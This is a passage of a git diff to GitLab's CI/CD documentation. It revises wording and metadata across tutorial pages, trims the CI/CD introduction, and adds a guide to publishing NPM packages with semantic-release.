that are defined in the project settings are sent along with the build script to the runner. The secure variables are stored out of the repository. Never store secrets in your project's `.gitlab-ci.yml`. It is also important that the secret's value diff --git a/doc/ci/examples/deployment/composer-npm-deploy.md b/doc/ci/examples/deployment/composer-npm-deploy.md index 067d92c2275..24990264f19 100644 --- a/doc/ci/examples/deployment/composer-npm-deploy.md +++ b/doc/ci/examples/deployment/composer-npm-deploy.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md index 39cad3a0c93..7abdcf1f9be 100644 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -421,7 +421,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat 1. Go to your GitLab project, click **Settings > CI/CD** on the left sidebar 1. Expand the **Variables** section -  +  1. Add a key named `AWS_KEY_ID` and copy the key ID from Step 2 into the **Value** field 1. Add a key named `AWS_KEY_SECRET` and copy the key secret from Step 2 into the **Value** field @@ -431,7 +431,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat To deploy our build artifacts, we need to install the [AWS CLI](https://aws.amazon.com/cli/) on the shared runner. The shared runner also needs to be able to authenticate with your AWS account to deploy the artifacts. By convention, AWS CLI will look for `AWS_ACCESS_KEY_ID` -and `AWS_SECRET_ACCESS_KEY`. GitLab's CI gives us a way to pass the variables we +and `AWS_SECRET_ACCESS_KEY`. GitLab CI/CD gives us a way to pass the variables we set up in the prior section using the `variables` portion of the `deploy` job. At the end, we add directives to ensure deployment `only` happens on pushes to `master`. This way, every single branch still runs through CI, and only merging (or committing directly) to master will @@ -509,7 +509,7 @@ Within the [demo repository](https://gitlab.com/blitzgren/gitlab-game-demo) you together nicely with GitLab CI/CD, which is the result of lessons learned while making [Dark Nova](https://www.darknova.io). Using a combination of free and open source software, we have a full CI/CD pipeline, a game foundation, and unit tests, all running and deployed at every push to master - with shockingly little code. -Errors can be easily debugged through GitLab's build logs, and within minutes of a successful commit, +Errors can be easily debugged through GitLab build logs, and within minutes of a successful commit, you can see the changes live on your game. Setting up Continuous Integration and Continuous Deployment from the start with Dark Nova enables diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md index 42725e8aef9..96183b040a2 100644 --- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md +++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index f692a8042f5..490fb857942 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -417,7 +417,7 @@ RUN apt-get clean RUN docker-php-ext-install mcrypt pdo_mysql zip # Install Composer -RUN curl --silent --show-error https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer +RUN curl --silent --show-error "https://getcomposer.org/installer" | php -- --install-dir=/usr/local/bin --filename=composer # Install Laravel Envoy RUN composer global require "laravel/envoy=~1.0" diff --git a/doc/ci/examples/license_management.md b/doc/ci/examples/license_management.md index df9af4db929..46be93c9676 100644 --- a/doc/ci/examples/license_management.md +++ b/doc/ci/examples/license_management.md @@ -3,3 +3,6 @@ redirect_to: '../../user/compliance/license_compliance/index.md' --- This document was moved to [another location](../../user/compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index 699d04f632c..31f0cc76023 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -15,17 +15,17 @@ using the Shell executor. ## Test PHP projects using the Docker executor While it is possible to test PHP apps on any system, this would require manual -configuration from the developer. To overcome this we will be using the +configuration from the developer. To overcome this we use the official [PHP Docker image](https://hub.docker.com/_/php) that can be found in Docker Hub. -This will allow us to test PHP projects against different versions of PHP. +This allows us to test PHP projects against different versions of PHP. However, not everything is plug 'n' play, you still need to configure some things manually. As with every job, you need to create a valid `.gitlab-ci.yml` describing the build environment. -Let's first specify the PHP image that will be used for the job process +Let's first specify the PHP image that is used for the job process (you can read more about what an image means in the runner's lingo reading about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)). @@ -56,7 +56,7 @@ apt-get update -yqq apt-get install git -yqq # Install phpunit, the tool that we will use for testing -curl --location --output /usr/local/bin/phpunit https://phar.phpunit.de/phpunit.phar +curl --location --output /usr/local/bin/phpunit "https://phar.phpunit.de/phpunit.phar" chmod +x /usr/local/bin/phpunit # Install mysql driver @@ -106,7 +106,7 @@ test:app: ### Test against different PHP versions in Docker builds Testing against multiple versions of PHP is super easy. Just add another job -with a different Docker image version and the runner will do the rest: +with a different Docker image version and the runner does the rest: ```yaml before_script: @@ -128,7 +128,7 @@ test:7.0: ### Custom PHP configuration in Docker builds -There are times where you will need to customise your PHP environment by +There are times where you need to customise your PHP environment by putting your `.ini` file into `/usr/local/etc/php/conf.d/`. For that purpose add a `before_script` action: @@ -168,7 +168,7 @@ The [phpenv](https://github.com/phpenv/phpenv) project allows you to easily mana each with its own configuration. This is especially useful when testing PHP projects with the Shell executor. -You will have to install it on your build machine under the `gitlab-runner` +You have to install it on your build machine under the `gitlab-runner` user following [the upstream installation guide](https://github.com/phpenv/phpenv#installation). Using phpenv also allows to easily configure the PHP environment with: @@ -181,7 +181,7 @@ phpenv config-add my_config.ini [is abandoned](https://github.com/phpenv/phpenv/issues/57). There is a fork at [madumlao/phpenv](https://github.com/madumlao/phpenv) that tries to bring the project back to life. [CHH/phpenv](https://github.com/CHH/phpenv) also - seems like a good alternative. Picking any of the mentioned tools will work + seems like a good alternative. Picking any of the mentioned tools works with the basic phpenv commands. Guiding you to choose the right phpenv is out of the scope of this tutorial.* @@ -274,4 +274,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/examples/sast.md b/doc/ci/examples/sast.md index 7c644ac833d..ebb3c1f66c1 100644 --- a/doc/ci/examples/sast.md +++ b/doc/ci/examples/sast.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/sast/index.md' --- This document was moved to [another location](../../user/application_security/sast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/sast_docker.md b/doc/ci/examples/sast_docker.md index 6570f6b2d98..eecf939d959 100644 --- a/doc/ci/examples/sast_docker.md +++ b/doc/ci/examples/sast_docker.md @@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md' --- This document was moved to [another location](../../user/application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md new file mode 100644 index 00000000000..70d29b739b1 --- /dev/null +++ b/doc/ci/examples/semantic-release.md @@ -0,0 +1,159 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Publish NPM packages to the GitLab Package Registry using semantic-release + +This guide demonstrates how to automatically publish NPM packages to the [GitLab Package Registry](../../user/packages/npm_registry/index.md) by using [semantic-release](https://github.com/semantic-release/semantic-release). + +You can also view or fork the complete [example source](https://gitlab.com/gitlab-examples/semantic-release-npm). + +## Initialize the module + +1. Open a terminal and navigate to the project's repository +1. Run `npm init`. Name the module according to [the Package Registry's naming conventions](../../user/packages/npm_registry/index.md#package-naming-convention). For example, if the project's path is `gitlab-examples/semantic-release-npm`, name the module `@gitlab-examples/semantic-release-npm`. + +1. Install the following NPM packages: + + ```shell + npm install semantic-release @semantic-release/git @semantic-release/gitlab @semantic-release/npm --save-dev + ``` + +1. Add the following properties to the module's `package.json`: + + ```json + { + "scripts": { + "semantic-release": "semantic-release" + }, + "publishConfig": { + "access": "public" + }, + "files": [ <path(s) to files here> ] + } + ``` + +1. Update the `files` key with glob pattern(s) that selects all files that should be included in the published module. More information about `files` can be found [in NPM's documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json#files). + +1. Add a `.gitignore` file to the project to avoid committing `node_modules`: + + ```plaintext + node_modules + ``` + +## Configure the pipeline + +Create a `.gitlab-ci.yml` with the following content: + +```yaml +default: + image: node:latest + before_script: + - npm ci --cache .npm --prefer-offline + - | + { + echo "@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/" + echo "${CI_API_V4_URL#https?}/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=\${CI_JOB_TOKEN}" + } | tee --append .npmrc + cache: + key: ${CI_COMMIT_REF_SLUG} + paths: + - .npm/ + +workflow: + rules: + - if: $CI_COMMIT_BRANCH + +variables: + NPM_TOKEN: ${CI_JOB_TOKEN} + +stages: + - release + +publish: + stage: release + script: + - npm run semantic-release + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH +``` + +This example configures the pipeline with a single job, `publish`, which runs `semantic-release`. The semantic-release library publishes new versions of the NPM package and creates new GitLab releases (if necessary). + +The default `before_script` generates a temporary `.npmrc` that is used to authenticate to the Package Registry during the `publish` job. + +## Set up environment variables + +As part of publishing a package, semantic-release increases the version number in `package.json`. For semantic-release to commit this change and push it back to GitLab, the pipeline requires a custom environment variable named `GITLAB_TOKEN`. To create this variable: + +1. Navigate to **Project > Settings > Access Tokens**. +1. Give the token a name, and select the `api` scope. +1. Click **Create project access token** and copy its value. +1. Navigate to **Project > Settings > CI / CD > Variables**. +1. Click **Add Variable**. +1. In the **Key** field, enter `GITLAB_TOKEN`. In the **Value** field, paste the token created above. Check the **Mask variable** option and click **Add variable**. + +## Configure semantic-release + +semantic-release pulls its configuration information from a `.releaserc.json` file in the project. Create a `.releaserc.json` at the root of the repository: + +```json +{ + "branches": ["master"], + "plugins": [ + "@semantic-release/commit-analyzer", + "@semantic-release/release-notes-generator", + "@semantic-release/gitlab", + "@semantic-release/npm", + [ + "@semantic-release/git", + { + "assets": ["package.json"], + "message": "chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}" + } + ] + ] +} +``` + +## Begin publishing releases + +Test the pipeline by creating a commit with a message like: + +```plaintext +fix: testing patch releases +``` + +Push the commit to `master`. The pipeline should create a new release (`v1.0.0`) on the project's **Releases** page and publish a new version of the package to the project's **Package Registry** page. + +To create a minor release, use a commit message like: + +```plaintext +feat: testing minor releases +``` + +Or, for a breaking change: + +```plaintext +feat: testing major releases + +BREAKING CHANGE: This is a breaking change. +``` + +More information about how commit messages are mapped to releases can be found in [semantic-releases's documentation](https://github.com/semantic-release/semantic-release#how-does-it-work). + +## Use the module in a project + +To use the published module, add an `.npmrc` file to the project that depends on the module. For example, to use [the example project](https://gitlab.com/gitlab-examples/semantic-release-npm)'s module: + +```plaintext +@gitlab-examples:registry=https://gitlab.com/api/v4/packages/npm/ +``` + +Then, install the module: + +```shell +npm install --save @gitlab-examples/semantic-release-npm +``` diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md index 6c4d99bd2dc..87291f4e8b8 100644 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md index 86c979c489c..089d72852bb 100644 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md index 31dacd34730..b6691930a2c 100644 --- a/doc/ci/examples/test-clojure-application.md +++ b/doc/ci/examples/test-clojure-application.md @@ -1,11 +1,11 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- -NOTE: **Note:** +NOTE: This document has not been updated recently and could be out of date. For the latest documentation, see the [GitLab CI/CD](../README.md) page and the [GitLab CI/CD Pipeline Configuration Reference](../yaml/README.md). # Test a Clojure application with GitLab CI/CD diff --git a/doc/ci/examples/test-scala-application.md b/doc/ci/examples/test-scala-application.md index fec376915c9..5c499d6a855 100644 --- a/doc/ci/examples/test-scala-application.md +++ b/doc/ci/examples/test-scala-application.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -62,7 +62,7 @@ You can use other versions of Scala and SBT by defining them in ## Display test coverage in job Add the `Coverage was \[\d+.\d+\%\]` regular expression in the -**Settings ➔ Pipelines ➔ Coverage report** project setting to +**Settings > Pipelines > Coverage report** project setting to retrieve the [test coverage](../pipelines/settings.md#test-coverage-report-badge) rate from the build trace and have it displayed with your jobs. diff --git a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md index 9bc9ac5423e..90f04fb3615 100644 --- a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index c28febd15d7..fb42ed64e78 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -21,7 +21,7 @@ type: reference ## Configuring the `.gitmodules` file -If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project will probably have a file +If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project probably has a file named `.gitmodules`. Let's consider the following example: @@ -44,11 +44,11 @@ for all your local checkouts. The `.gitmodules` would look like: url = ../../group/project.git ``` -The above configuration will instruct Git to automatically deduce the URL that -should be used when cloning sources. Whether you use HTTP(S) or SSH, Git will use -that same channel and it will allow to make all your CI jobs use HTTP(S) -(because GitLab CI/CD only uses HTTP(S) for cloning your sources), and all your local -clones will continue using SSH. +The above configuration instructs Git to automatically deduce the URL that +should be used when cloning sources. Whether you use HTTP(S) or SSH, Git uses +that same channel and it makes all your CI jobs use HTTP(S). +GitLab CI/CD only uses HTTP(S) for cloning your sources, and all your local +clones continue using SSH. For all other submodules not located on the same GitLab server, use the full HTTP(S) protocol URL: @@ -94,7 +94,7 @@ correctly with your CI jobs: whether you have recursive submodules. The rationale to set the `sync` and `update` in `before_script` is because of -the way Git submodules work. On a fresh runner workspace, Git will set the +the way Git submodules work. On a fresh runner workspace, Git sets the submodule URL including the token in `.git/config` (or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current remote URL. On subsequent jobs on the same runner, `.git/config` is cached diff --git a/doc/ci/img/junit_test_report.png b/doc/ci/img/junit_test_report.png Binary files differindex ad098eb457f..a4b98c8b910 100644 --- a/doc/ci/img/junit_test_report.png +++ b/doc/ci/img/junit_test_report.png diff --git a/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png b/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png Binary files differindex 8082d17ae6a..25ce4176d9d 100644 --- a/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png +++ b/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index a131d21039d..1aa86e0b322 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -15,7 +15,7 @@ shell access to the environment where [GitLab Runner](https://docs.gitlab.com/ru is deployed, some [security precautions](../../administration/integration/terminal.md#security) were taken to protect the users. -NOTE: **Note:** +NOTE: [Shared runners on GitLab.com](../runners/README.md#shared-runners) do not provide an interactive web terminal. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on @@ -31,39 +31,39 @@ Two things need to be configured for the interactive web terminal to work: - If you are using a reverse proxy with your GitLab instance, web terminals need to be [enabled](../../administration/integration/terminal.md#enabling-and-disabling-terminal-support) -NOTE: **Note:** +NOTE: Interactive web terminals are not yet supported by [`gitlab-runner` Helm chart](https://docs.gitlab.com/charts/charts/gitlab/gitlab-runner/index.html), but support [is planned](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/79). ## Debugging a running job -NOTE: **Note:** +NOTE: Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart). -NOTE: **Note:** +NOTE: The `docker` executor does not keep running -after the build script is finished. At that point, the terminal will automatically -disconnect and will not wait for the user to finish. Please follow [this +after the build script is finished. At that point, the terminal automatically +disconnects and does not wait for the user to finish. Please follow [this issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3605) for updates on improving this behavior. Sometimes, when a job is running, things don't go as you would expect, and it would be helpful if one can have a shell to aid debugging. When a job is -running, on the right panel you can see a button `debug` that will open the terminal +running, on the right panel you can see a button `debug` that opens the terminal for the current job.  -When clicked, a new tab will open to the terminal page where you can access +When clicked, a new tab opens to the terminal page where you can access the terminal and type commands like a normal shell.  If you have the terminal open and the job has finished with its tasks, the -terminal will block the job from finishing for the duration configured in +terminal blocks the job from finishing for the duration configured in [`[session_server].session_timeout`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) until you close the terminal window. diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index b24ee66fdba..fa5c8c9a606 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -1,21 +1,21 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "An overview of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD." type: concepts --- # Introduction to CI/CD with GitLab -In this document, we'll present an overview of the concepts of Continuous Integration, +This document presents an overview of the concepts of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD. -TIP: **Tip:** +NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) -webcast to learn about continuous methods and how GitLab’s built-in CI can help you simplify and scale software development. +webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development. > For some additional information about GitLab CI/CD: > @@ -90,67 +90,6 @@ application or integration needed. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Introduction to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=397) from a recent GitLab meetup. -### How GitLab CI/CD works - -To use GitLab CI/CD, all you need is an application codebase hosted in a -Git repository, and for your build, test, and deployment -scripts to be specified in a file called [`.gitlab-ci.yml`](../yaml/README.md), -located in the root path of your repository. - -In this file, you can define the scripts you want to run, define include and -cache dependencies, choose commands you want to run in sequence -and those you want to run in parallel, define where you want to -deploy your app, and specify whether you will want to run the scripts automatically -or trigger any of them manually. After you're familiar with -GitLab CI/CD you can add more advanced steps into the configuration file. - -To add scripts to that file, you'll need to organize them in a -sequence that suits your application and are in accordance with -the tests you wish to perform. To visualize the process, imagine -that all the scripts you add to the configuration file are the -same as the commands you run on a terminal on your computer. - -After you've added your `.gitlab-ci.yml` configuration file to your -repository, GitLab will detect it and run your scripts with the -tool called [GitLab Runner](https://docs.gitlab.com/runner/), which -works similarly to your terminal. - -The scripts are grouped into **jobs**, and together they compose -a **pipeline**. A minimalist example of `.gitlab-ci.yml` file -could contain: - -```yaml -before_script: - - apt-get install rubygems ruby-dev -y - -run-test: - script: - - ruby --version -``` - -The `before_script` attribute would install the dependencies -for your app before running anything, and a **job** called -`run-test` would print the Ruby version of the current system. -Both of them compose a **pipeline** triggered at every push -to any branch of the repository. - -GitLab CI/CD not only executes the jobs you've -set but also shows you what's happening during execution, as you -would see in your terminal: - - - -You create the strategy for your app and GitLab runs the pipeline -for you according to what you've defined. Your pipeline status is also -displayed by GitLab: - - - -At the end, if anything goes wrong, you can easily -[roll back](../environments/index.md#retrying-and-rolling-back) all the changes: - - - ### Basic CI/CD workflow Consider the following example for how GitLab CI/CD fits in a @@ -177,7 +116,7 @@ After you're happy with your implementation:  GitLab CI/CD is capable of doing a lot more, but this workflow -exemplifies GitLab's ability to track the entire process, +exemplifies the ability of GitLab to track the entire process, without the need for an external tool to deliver your software. And, most usefully, you can visualize all the steps through the GitLab UI. @@ -191,7 +130,7 @@ lifecycle, as shown in the illustration below.  If you look at the image from the left to the right, -you'll see some of the features available in GitLab +you can see some of the features available in GitLab according to each stage (Verify, Package, Release). 1. **Verify**: @@ -202,18 +141,16 @@ according to each stage (Verify, Package, Release). - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [Unit tests](../unit_test_reports.md). - Deploy your changes with [Review Apps](../review_apps/index.md) to preview the app changes on every branch. 1. **Package**: - - Store Docker images with [Container Registry](../../user/packages/container_registry/index.md). - - Store NPM packages with [NPM Registry](../../user/packages/npm_registry/index.md). **(PREMIUM)** - - Store Maven artifacts with [Maven Repository](../../user/packages/maven_repository/index.md). **(PREMIUM)** - - Store Conan packages with [Conan Repository](../../user/packages/conan_repository/index.md). **(PREMIUM)** + - Store Docker images with the [Container Registry](../../user/packages/container_registry/index.md). + - Store packages with the [Package Registry](../../user/packages/package_registry/index.md). 1. **Release**: - Continuous Deployment, automatically deploying your app to production. - Continuous Delivery, manually click to deploy your app to production. - Deploy static websites with [GitLab Pages](../../user/project/pages/index.md). - Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature with [Canary Deployments](../../user/project/canary_deployments.md). **(PREMIUM)** - - Deploy your features behind [Feature Flags](../../operations/feature_flags.md). **(PREMIUM)** + - Deploy your features behind [Feature Flags](../../operations/feature_flags.md). - Add release notes to any Git tag with [GitLab Releases](../../user/project/releases/index.md). - - View of the current health and status of each CI environment running on Kubernetes with [Deploy Boards](../../user/project/deploy_boards.md). **(PREMIUM)** + - View of the current health and status of each CI environment running on Kubernetes with [Deploy Boards](../../user/project/deploy_boards.md). - Deploy your application to a production environment in a Kubernetes cluster with [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy). With GitLab CI/CD you can also: @@ -228,23 +165,3 @@ To see all CI/CD features, navigate back to the [CI/CD index](../README.md). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch the video [GitLab CI Live Demo](https://youtu.be/l5705U8s_nQ?t=369) with a deeper overview of GitLab CI/CD. - -### Setting up GitLab CI/CD for the first time - -To get started with GitLab CI/CD, you need to familiarize yourself -with the [`.gitlab-ci.yml`](../yaml/README.md) configuration file -syntax and with its attributes. - -This document [introduces the concepts of GitLab CI/CD in the scope of GitLab Pages](../../user/project/pages/getting_started/pages_from_scratch.md), for deploying static websites. -Although it's meant for users who want to write their own Pages -script from scratch, it also serves as an introduction to the setup process for GitLab CI/CD. -It covers the first general steps of writing a CI/CD configuration -file, so we recommend you read through it to understand GitLab's CI/CD -logic, and learn how to write your own script (or tweak an -existing one) for any application. - -For a deep view of GitLab's CI/CD configuration options, check the -[`.gitlab-ci.yml` full reference](../yaml/README.md). - -For help making your pipelines faster and more efficient, see the -[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/jenkins/index.md b/doc/ci/jenkins/index.md index 34600dd6540..3f720ef959e 100644 --- a/doc/ci/jenkins/index.md +++ b/doc/ci/jenkins/index.md @@ -3,3 +3,6 @@ redirect_to: '../migration/jenkins.md' --- This document was moved to [another location](../migration/jenkins.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index dc306ac7ecb..c985a5b00ef 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Jobs diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md index 449f9bf5fcd..2ae17df0933 100644 --- a/doc/ci/junit_test_reports.md +++ b/doc/ci/junit_test_reports.md @@ -3,3 +3,6 @@ redirect_to: 'unit_test_reports.md' --- This document was moved to [unit_test_reports](unit_test_reports.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index f25ef7c725a..35b4a2de8f8 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see 